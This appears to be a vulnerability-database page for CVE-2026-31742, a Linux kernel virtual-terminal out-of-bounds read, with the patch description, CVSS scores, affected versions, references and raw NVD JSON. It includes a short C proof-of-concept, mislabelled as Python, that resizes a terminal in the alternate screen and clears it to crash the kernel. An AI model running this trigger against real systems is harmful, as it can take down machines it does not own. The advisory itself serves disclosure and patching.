CVE-2026-31742

Description

In the Linux kernel, the following vulnerability has been resolved: vt: discard stale unicode buffer on alt screen exit after resize When enter_alt_screen() saves vc_uni_lines into vc_saved_uni_lines and sets vc_uni_lines to NULL, a subsequent console resize via vc_do_resize() skips reallocating the unicode buffer because vc_uni_lines is NULL. However, vc_saved_uni_lines still points to the old buffer allocated for the original dimensions. When leave_alt_screen() later restores vc_saved_uni_lines, the buffer dimensions no longer match vc_rows/vc_cols. Any operation that iterates over the unicode buffer using the current dimensions (e.g. csi_J clearing the screen) will access memory out of bounds, causing a kernel oops: BUG: unable to handle page fault for address: 0x0000002000000020 RIP: 0010:csi_J+0x133/0x2d0 The faulting address 0x0000002000000020 is two adjacent u32 space characters (0x20) interpreted as a pointer, read from the row data area past the end of the 25-entry pointer array in a buffer allocated for 80x25 but accessed with 240x67 dimensions. Fix this by checking whether the console dimensions changed while in the alternate screen. If they did, free the stale saved buffer instead of restoring it. The unicode screen will be lazily rebuilt via vc_uniscr_check() when next needed.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:* - VULNERABLE

Linux Kernel (versions prior to commit 40014493cece72a0be5672cd86763e53fb3ec613)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <stdlib.h>

// Trigger the resize -> alt screen -> resize -> exit -> clear sequence

int main() {
    struct winsize size;
    
    // Simulate entering alternate screen (escape sequence)
    printf("\033[?1049h");
    fflush(stdout);

    // Resize terminal while in alternate screen
    // Kernel skips reallocation of vc_uni_lines because it is NULL
    size.ws_row = 67;
    size.ws_col = 240;
    ioctl(STDOUT_FILENO, TIOCSWINSZ, &size);

    // Exit alternate screen
    // Kernel restores vc_saved_uni_lines (old size 80x25) but vc_rows/cols are 240x67
    printf("\033[?1049l");
    fflush(stdout);

    // Trigger operation that traverses buffer (e.g., Clear Screen)
    // This causes out-of-bounds access reading/writing past the old buffer
    printf("\033[2J");
    fflush(stdout);

    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31742
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31742
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31742/
[4] VulDB https://vuldb.com/cve/CVE-2026-31742
[5] https://git.kernel.org/stable/c/40014493cece72a0be5672cd86763e53fb3ec613
[6] https://git.kernel.org/stable/c/428fdf55301e6c8fa5a36b426240797b1cf86570
[7] https://git.kernel.org/stable/c/891d790fdb5c96c6e1d2841e06ee6c360f2d1288

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31742", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:36.937", "lastModified": "2026-05-07T17:42:57.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nvt: discard stale unicode buffer on alt screen exit after resize\n\nWhen enter_alt_screen() saves vc_uni_lines into vc_saved_uni_lines and\nsets vc_uni_lines to NULL, a subsequent console resize via vc_do_resize()\nskips reallocating the unicode buffer because vc_uni_lines is NULL.\nHowever, vc_saved_uni_lines still points to the old buffer allocated for\nthe original dimensions.\n\nWhen leave_alt_screen() later restores vc_saved_uni_lines, the buffer\ndimensions no longer match vc_rows/vc_cols. Any operation that iterates\nover the unicode buffer using the current dimensions (e.g. csi_J clearing\nthe screen) will access memory out of bounds, causing a kernel oops:\n\n BUG: unable to handle page fault for address: 0x0000002000000020\n RIP: 0010:csi_J+0x133/0x2d0\n\nThe faulting address 0x0000002000000020 is two adjacent u32 space\ncharacters (0x20) interpreted as a pointer, read from the row data area\npast the end of the 25-entry pointer array in a buffer allocated for\n80x25 but accessed with 240x67 dimensions.\n\nFix this by checking whether the console dimensions changed while in the\nalternate screen. If they did, free the stale saved buffer instead of\nrestoring it. The unicode screen will be lazily rebuilt via\nvc_uniscr_check() when next needed."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18.20", "versionEndExcluding": "6.18.22", "matchCriteriaId": "7B6CD870-DF92-432B-A966-F190AE04E97F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19.10", "versionEndExcluding": "6.19.12", "matchCriteriaId": "6BF1D424-BCB7-4168-AFD4-DE335B44DACF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/40014493cece72a0be5672cd86763e53fb3ec613", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/428fdf55301e6c8fa5a36b426240797b1cf86570", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/891d790fdb5c96c6e1d2841e06ee6c360f2d1288", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}